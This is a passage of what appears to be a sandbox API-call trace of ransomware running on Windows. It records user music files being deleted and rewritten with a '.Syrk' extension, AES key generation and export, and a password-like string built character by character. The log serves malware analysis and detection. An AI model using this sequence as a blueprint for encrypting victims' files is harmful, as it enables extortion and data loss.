lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", lpFilePart=0x0) returned 0x50 [0236.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0236.516] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0236.516] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", lpFilePart=0x0) returned 0x50 [0236.517] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\sb2jvq1jz7zixzf4.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0236.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0236.517] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0236.517] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0236.517] CoTaskMemFree (pv=0x5c9b950) [0236.520] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\sb2jvq1jz7zixzf4.mp3")) returned 0x20 [0236.520] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0236.520] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", lpFilePart=0x0) returned 0x50 [0236.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0236.520] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\sb2jvq1jz7zixzf4.mp3"), fInfoLevelId=0x0, lpFileInformation=0x252f960 | out: lpFileInformation=0x252f960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda2f5860, ftCreationTime.dwHighDateTime=0x1d998ec, ftLastAccessTime.dwLowDateTime=0x954afeb0, ftLastAccessTime.dwHighDateTime=0x1d99ad2, ftLastWriteTime.dwLowDateTime=0x954afeb0, ftLastWriteTime.dwHighDateTime=0x1d99ad2, nFileSizeHigh=0x0, nFileSizeLow=0x14898)) returned 1 [0236.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0236.521] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\sb2jvq1jz7zixzf4.mp3")) returned 1 [0236.524] EtwEventActivityIdControl () returned 0x0 [0236.524] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.524] EtwEventActivityIdControl () returned 0x0 [0236.524] EtwEventActivityIdControl () returned 0x0 [0236.524] EtwEventActivityIdControl () returned 0x0 [0236.582] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\sb2jvq1jz7zixzf4.mp3.syrk")) returned 0x20 [0236.583] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\sb2jvq1jz7zixzf4.mp3.syrk")) returned 0x20 [0236.583] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0236.584] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3.Syrk", nBufferLength=0x56, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3.Syrk", lpFilePart=0x0) returned 0x55 [0236.584] EtwEventActivityIdControl () returned 0x0 [0236.585] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.585] EtwEventActivityIdControl () returned 0x0 [0236.585] EtwEventActivityIdControl () returned 0x0 [0236.585] EtwEventActivityIdControl () returned 0x0 [0236.591] EtwEventActivityIdControl () returned 0x0 [0236.591] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.591] EtwEventActivityIdControl () returned 0x0 [0236.591] EtwEventActivityIdControl () returned 0x0 [0236.591] EtwEventActivityIdControl () returned 0x0 [0236.595] EtwEventActivityIdControl () returned 0x0 [0236.595] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.596] EtwEventActivityIdControl () returned 0x0 [0236.596] EtwEventActivityIdControl () returned 0x0 [0236.596] EtwEventActivityIdControl () returned 0x0 [0236.600] EtwEventActivityIdControl () returned 0x0 [0236.600] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.600] EtwEventActivityIdControl () returned 0x0 [0236.601] EtwEventActivityIdControl () returned 0x0 [0236.601] EtwEventActivityIdControl () returned 0x0 [0236.604] EtwEventActivityIdControl () returned 0x0 [0236.604] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.605] EtwEventActivityIdControl () returned 0x0 [0236.605] EtwEventActivityIdControl () returned 0x0 [0236.605] EtwEventActivityIdControl () returned 0x0 [0236.609] EtwEventActivityIdControl () returned 0x0 [0236.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0236.613] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\sb2jvq1jz7zixzf4.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x253e668 | out: lpFileInformation=0x253e668*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cb0e40, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x8cb0e40, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x8d23260, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x148b4)) returned 1 [0236.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0236.614] GetConsoleOutputCP () returned 0x1b5 [0236.615] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0236.615] GetConsoleOutputCP () returned 0x1b5 [0236.616] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0236.616] GetConsoleOutputCP () returned 0x1b5 [0236.616] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.616] GetConsoleOutputCP () returned 0x1b5 [0236.616] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.616] GetConsoleOutputCP () returned 0x1b5 [0236.616] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0236.616] GetConsoleOutputCP () returned 0x1b5 [0236.617] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0236.617] GetConsoleOutputCP () returned 0x1b5 [0236.617] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.617] GetConsoleOutputCP () returned 0x1b5 [0236.617] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.617] GetConsoleOutputCP () returned 0x1b5 [0236.617] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0236.617] GetConsoleOutputCP () returned 0x1b5 [0236.618] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0236.618] GetConsoleOutputCP () returned 0x1b5 [0236.618] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.618] GetConsoleOutputCP () returned 0x1b5 [0236.618] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.618] GetConsoleOutputCP () returned 0x1b5 [0236.618] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0236.618] GetConsoleOutputCP () returned 0x1b5 [0236.619] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0236.619] GetConsoleOutputCP () returned 0x1b5 [0236.619] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.619] GetConsoleOutputCP () returned 0x1b5 [0236.619] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.619] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0236.620] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0236.629] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2558398*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2558398*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0236.630] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0236.630] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0236.633] EtwEventActivityIdControl () returned 0x0 [0236.633] EtwEventActivityIdControl () returned 0x0 [0236.634] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.634] EtwEventActivityIdControl () returned 0x0 [0236.634] EtwEventActivityIdControl () returned 0x0 [0236.634] EtwEventActivityIdControl () returned 0x0 [0236.636] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.670] EtwEventActivityIdControl () returned 0x0 [0236.670] EtwEventActivityIdControl () returned 0x0 [0236.670] EtwEventActivityIdControl () returned 0x0 [0236.673] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d320) returned 1 [0236.676] CryptGenKey (in: hProv=0x5c4d320, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c994e0) returned 1 [0236.676] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0236.676] CryptExportKey (in: hKey=0x5c994e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0236.676] CryptExportKey (in: hKey=0x5c994e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x235f938, pdwDataLen=0x5a2e8c4 | out: pbData=0x235f938*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0236.676] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.677] EtwEventActivityIdControl () returned 0x0 [0236.677] EtwEventActivityIdControl () returned 0x0 [0236.677] EtwEventActivityIdControl () returned 0x0 [0236.678] SysStringLen (param_1="") returned 0x8 [0236.678] SysStringLen (param_1="H") returned 0x8 [0236.678] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.679] SysStringLen (param_1="囆聤꣢렚꧹믇ׄ") returned 0x8 [0236.679] SysStringLen (param_1="囆聤꣢렚꧹믇ׄ") returned 0x8 [0236.679] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.679] SysStringLen (param_1="Hf") returned 0x8 [0236.679] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.679] SysStringLen (param_1="畸⼎㕡嵅苽஠숊") returned 0x8 [0236.679] SysStringLen (param_1="畸⼎㕡嵅苽஠숊") returned 0x8 [0236.679] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.679] SysStringLen (param_1="Hfi") returned 0x8 [0236.679] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.679] SysStringLen (param_1="峨\ᇜ턌覕䩙闀⊶) returned 0x8 [0236.679] SysStringLen (param_1="峨\ᇜ턌覕䩙闀⊶) returned 0x8 [0236.679] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.680] SysStringLen (param_1="Hfiu") returned 0x8 [0236.680] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.680] SysStringLen (param_1="༜掇쀝鿗Ὀᩌ臔") returned 0x8 [0236.680] SysStringLen (param_1="༜掇쀝鿗Ὀᩌ臔") returned 0x8 [0236.680] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.680] SysStringLen (param_1="HfiuJ") returned 0x8 [0236.680] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.680] SysStringLen (param_1="अ瘜䒪鹬㗓덍ְ찂") returned 0x8 [0236.680] SysStringLen (param_1="अ瘜䒪鹬㗓덍ְ찂") returned 0x8 [0236.680] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.680] SysStringLen (param_1="HfiuJO") returned 0x8 [0236.680] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.680] SysStringLen (param_1="ෟ晝얡伾\鏚㣎௻⋶) returned 0x8 [0236.680] SysStringLen (param_1="ෟ晝얡伾\鏚㣎௻⋶) returned 0x8 [0236.680] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.681] SysStringLen (param_1="HfiuJOz") returned 0x8 [0236.681] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.681] SysStringLen (param_1="췍갅讶闅㈤賥닊礼") returned 0x8 [0236.681] SysStringLen (param_1="췍갅讶闅㈤賥닊礼") returned 0x8 [0236.681] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.681] SysStringLen (param_1="HfiuJOz4") returned 0x8 [0236.681] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.681] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶") returned 0x8 [0236.682] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶") returned 0x8 [0236.682] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶") returned 0x8 [0236.682] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶") returned 0x10 [0236.682] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.682] SysStringLen (param_1="HfiuJOz42놸릺鏞䧜࿢ꅍﻍ") returned 0x10 [0236.682] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.682] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶癉夲癊㞼챀奇\⋟) returned 0x10 [0236.683] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶癉夲癊㞼챀奇\⋟) returned 0x10 [0236.690] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.690] SysStringLen (param_1="HfiuJOz42C릺鏞䧜࿢ꅍﻍ") returned 0x10 [0236.690] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.690] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶㎷㼹闚篼뫝ｍ를憰") returned 0x10 [0236.690] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶㎷㼹闚篼뫝ｍ를憰") returned 0x10 [0236.690] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.690] SysStringLen (param_1="HfiuJOz42Cm鏞䧜࿢ꅍﻍ") returned 0x10 [0236.690] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.690] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶ﷺ憄悚⪁㧾셎咒霫") returned 0x10 [0236.690] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶ﷺ憄悚⪁㧾셎咒霫") returned 0x10 [0236.690] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.691] SysStringLen (param_1="HfiuJOz42Cmb䧜࿢ꅍﻍ") returned 0x10 [0236.691] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.691] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶檌隂㆒垉垚ꐭϤ⇳") returned 0x10 [0236.691] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶檌隂㆒垉垚ꐭϤ⇳") returned 0x10 [0236.691] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.691] SysStringLen (param_1="HfiuJOz42Cmbb࿢ꅍﻍ") returned 0x10 [0236.691] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.691] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶簲ᅈẾ⛿ﵧ⊀՗螝") returned 0x10 [0236.691] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶簲ᅈẾ⛿ﵧ⊀՗螝") returned 0x10 [0236.691] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.691] SysStringLen (param_1="HfiuJOz42CmbbPꅍﻍ") returned 0x10 [0236.691] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.691] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶ਕ㭤쑦儭뀧ꙣ胢") returned 0x10 [0236.692] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶ਕ㭤쑦儭뀧ꙣ胢") returned 0x10 [0236.692] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.692] SysStringLen (param_1="HfiuJOz42CmbbPzﻍ") returned 0x10 [0236.692] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.692] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶谿娊ࢡ뮄뉎묆뗪跰") returned 0x10 [0236.692] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶谿娊ࢡ뮄뉎묆뗪跰") returned 0x10 [0236.692] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.692] SysStringLen (param_1="HfiuJOz42CmbbPzg") returned 0x10 [0236.692] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.692] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐") returned 0x10 [0236.692] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐") returned 0x10 [0236.692] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐") returned 0x10 [0236.693] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐") returned 0x18 [0236.693] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.693] SysStringLen (param_1="HfiuJOz42CmbbPzgb蕚䪁乲曢苘䔷") returned 0x18 [0236.693] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.693] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐䀹઴趡鐝뫍煴Ž") returned 0x18 [0236.693] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐䀹઴趡鐝뫍煴Ž") returned 0x18 [0236.694] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.694] SysStringLen (param_1="HfiuJOz42CmbbPzgbL䪁乲曢苘䔷") returned 0x18 [0236.694] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.694] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐㝳䩵誩ᱡ⁥ᑎ㶝碭") returned 0x18 [0236.694] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐㝳䩵誩ᱡ⁥ᑎ㶝碭") returned 0x18 [0236.694] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.694] SysStringLen (param_1="HfiuJOz42CmbbPzgbLq乲曢苘䔷") returned 0x18 [0236.694] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.694] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐郵媝௘듥낍溩") returned 0x18 [0236.694] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐郵媝௘듥낍溩") returned 0x18 [0236.694] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.694] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu曢苘䔷") returned 0x18 [0236.695] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.695] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐Ш稸᧑ꎣ畣プᢚ") returned 0x18 [0236.695] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐Ш稸᧑ꎣ畣プᢚ") returned 0x18 [0236.695] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.695] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9苘䔷") returned 0x18 [0236.695] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, 